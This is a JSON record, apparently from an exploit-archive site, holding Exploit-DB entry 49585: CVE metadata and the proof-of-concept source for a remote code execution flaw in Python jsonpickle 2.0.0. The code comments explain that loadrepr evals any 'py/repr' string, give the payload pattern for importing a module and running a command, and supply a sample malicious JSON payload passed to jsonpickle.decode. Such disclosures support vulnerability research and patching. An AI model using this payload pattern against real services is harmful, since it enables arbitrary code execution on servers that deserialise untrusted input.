{"exploit":{"id":"EDB-49585","name":"Python jsonpickle 2.0.0 - 'loadrepr()' Remote Code Execution (RCE)","description":"Python jsonpickle 2.0.0 - 'loadrepr()' Remote Code Execution (RCE)","cves":["CVE-2021-47952"],"author":"Adi Malyanker","published":"2021-02-24","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49585","path":"exploits/multiple/remote/49585.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49585.py","vulnerabilities":[{"id":"CVE-2021-47952","state":"PUBLISHED","title":"python jsonpickle 2.0.0 Remote Code Execution via py/repr","titleSource":"CVE Program","description":"python jsonpickle 2.0.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary Python commands by deserializing malicious JSON payloads containing py/repr objects. Attackers can craft JSON strings with py/repr directives that invoke the eval function during deserialization to execute arbitrary code.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47952","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47952"},"updatedAt":"2026-07-28T01:47:30.622Z","retrievedAt":"2026-11-27T02:13:27.174Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49585.png?v=2","url":"https://exploitbin.com/exploits/EDB-49585","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49585/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49585/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: python jsonpickle 2.0.0 - Remote Code Execution\n# Date: 24-2-2021\n# Vendor Homepage: https://jsonpickle.github.io\n# Exploit Author: Adi Malyanker, Shay Reuven\n# Software Link: https://github.com/jsonpickle/jsonpickle\n# Version: 2.0.0\n# Tested on: windows, linux\n\n# \tPython is an open source language. jsonickle module is provided to convert objects into a serialized form,\n# \tand later recover the data back into an object. the decode is used to undeserialize serialized strings.\n\n# \tIf malicious data is deserialized, it will execute arbitrary Python commands. It is also possible to make system() calls.\n# \tthe problem is in the inner function loadrepr function which eval each serialized string which contains \"py/repr\".\n\n#\tThe vulnerability exists from the first version till the current version for backward compatibility. no patch is provided yet\n\n#\tthe payload was found during our research made on deserialization functions.\n\n# \tthe pattern should be :\n# \t{..{\"py/repr\":<the module to import>/<the command to be executed.>}..}\n\n# \texample:\n\nmalicious = '{\"1\": {\"py/repr\": \"time/time.sleep(10)\"}, \"2\": {\"py/id\": 67}}'\n\n# \tthe command on the server side\nsome_parameter = jsonpickle.decode(malicious)","sha256":"2050a0d09b6ad59f88d9e8269e62360588935e6a21199896b9540780b34f228a","bytes":1222,"fetchedAt":"2026-11-27T07:09:35.230Z","encoding":"utf-8 (display only; download retains original bytes)"}